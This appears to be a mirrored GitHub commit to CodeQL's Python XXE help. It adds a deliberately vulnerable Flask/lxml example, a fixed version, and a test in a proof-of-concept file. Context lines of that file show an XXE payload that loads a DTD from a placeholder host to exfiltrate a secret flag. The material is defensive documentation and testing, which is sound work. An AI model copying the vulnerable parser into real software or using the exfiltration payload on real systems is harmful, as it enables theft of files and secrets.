Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit b00766b

Browse files
committed
Python: Adjust XXE qhelp
and remove the old copy, we don't need it anymore :)
1 parent c365337 commit b00766b

7 files changed

Lines changed: 58 additions & 75 deletions

File tree

python/ql/src/experimental/Security/NEW/CWE-611/Xxe.qhelp

Lines changed: 26 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -15,29 +15,34 @@ and out-of-band data retrieval techniques may allow attackers to steal sensitive
1515
<p>
1616
The easiest way to prevent XXE attacks is to disable external entity handling when
1717
parsing untrusted data. How this is done depends on the library being used. Note that some
18-
libraries, such as recent versions of <code>libxml</code>, disable entity expansion by default,
18+
libraries, such as recent versions of the XML libraries in the standard library of Python 3,
19+
disable entity expansion by default,
1920
so unless you have explicitly enabled entity expansion, no further action needs to be taken.
2021
</p>
22+
23+
<p>
24+
We recommend using the <a href="https://pypi.org/project/defusedxml/">defusedxml</a>
25+
PyPI package, which has been created to prevent XML attacks (both XXE and XML bombs).
26+
</p>
2127
</recommendation>
2228

2329
<example>
2430
<p>
25-
The following example uses the <code>libxml</code> XML parser to parse a string <code>xmlSrc</code>.
26-
If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since
27-
the parser is invoked with the <code>noent</code> option set to <code>true</code>:
31+
The following example uses the <code>lxml</code> XML parser to parse a string
32+
<code>xml_src</code>. That string is from an untrusted source, so this code is
33+
vulnerable to an XXE attack, since the <a href="https://lxml.de/apidoc/lxml.etree.html#lxml.etree.XMLParser">
34+
default parser</a> from <code>lxml.etree</code> allows local external entities to be resolved.
2835
</p>
29-
<sample src="examples/Xxe.js"/>
36+
<sample src="examples/XxeBad.py"/>
3037

3138
<p>
32-
To guard against XXE attacks, the <code>noent</code> option should be omitted or set to
33-
<code>false</code>. This means that no entity expansion is undertaken at all, not even for standard
34-
internal entities such as <code>&amp;amp;</code> or <code>&amp;gt;</code>. If desired, these
35-
entities can be expanded in a separate step using utility functions provided by libraries such
36-
as <a href="http://underscorejs.org/#unescape">underscore</a>,
37-
<a href="https://lodash.com/docs/4.17.15#unescape">lodash</a> or
38-
<a href="https://github.com/mathiasbynens/he">he</a>.
39+
To guard against XXE attacks with the <code>lxml</code> library, you should create a
40+
parser with <code>resolve_entities</code> set to <code>false</code>. This means that no
41+
entity expansion is undertaken, althuogh standard predefined entities such as
42+
<code>&amp;gt;</code>, for writing <code>&gt;</code> inside the text of an XML element,
43+
are still allowed.
3944
</p>
40-
<sample src="examples/XxeGood.js"/>
45+
<sample src="examples/XxeGood.py"/>
4146
</example>
4247

4348
<references>
@@ -53,5 +58,13 @@ Timothy Morgen:
5358
Timur Yunusov, Alexey Osipov:
5459
<a href="https://www.slideshare.net/qqlan/bh-ready-v4">XML Out-Of-Band Data Retrieval</a>.
5560
</li>
61+
<li>
62+
Python 3 standard library:
63+
<a href="https://docs.python.org/3/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.
64+
</li>
65+
<li>
66+
Python 2 standard library:
67+
<a href="https://docs.python.org/2/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.
68+
</li>
5669
</references>
5770
</qhelp>

python/ql/src/experimental/Security/NEW/CWE-611/examples/Xxe.js

Lines changed: 0 additions & 7 deletions
This file was deleted.
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
from flask import Flask, request
2+
import lxml.etree
3+
4+
app = Flask(__name__)
5+
6+
@app.post("/upload")
7+
def upload():
8+
xml_src = request.get_data()
9+
doc = lxml.etree.fromstring(xml_src)
10+
return lxml.etree.tostring(doc)

python/ql/src/experimental/Security/NEW/CWE-611/examples/XxeGood.js

Lines changed: 0 additions & 7 deletions
This file was deleted.
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
from flask import Flask, request
2+
import lxml.etree
3+
4+
app = Flask(__name__)
5+
6+
@app.post("/upload")
7+
def upload():
8+
xml_src = request.get_data()
9+
parser = lxml.etree.XMLParser(resolve_entities=False)
10+
doc = lxml.etree.fromstring(xml_src, parser=parser)
11+
return lxml.etree.tostring(doc)

python/ql/src/experimental/Security/NEW/XmlEntityInjection.qhelp

Lines changed: 0 additions & 48 deletions
This file was deleted.

python/ql/test/experimental/library-tests/frameworks/XML/poc/PoC.py

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -74,6 +74,10 @@
7474
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://{HOST}:{PORT}/exfiltrate-through.dtd"> %xxe; ]>
7575
"""
7676

77+
predefined_entity_xml = """<?xml version="1.0"?>
78+
<test>&lt;</test>
79+
"""
80+
7781
# ==============================================================================
7882
# other setup
7983

@@ -443,6 +447,13 @@ def test_exfiltrate_through_dtd():
443447

444448
assert exfiltrated_data == "SECRET_FLAG"
445449

450+
@staticmethod
451+
def test_predefined_entity():
452+
parser = lxml.etree.XMLParser(resolve_entities=False)
453+
root = lxml.etree.fromstring(predefined_entity_xml, parser=parser)
454+
assert root.tag == "test"
455+
assert root.text == "<"
456+
446457
# ==============================================================================
447458

448459
import xmltodict

0 commit comments

Comments
 (0)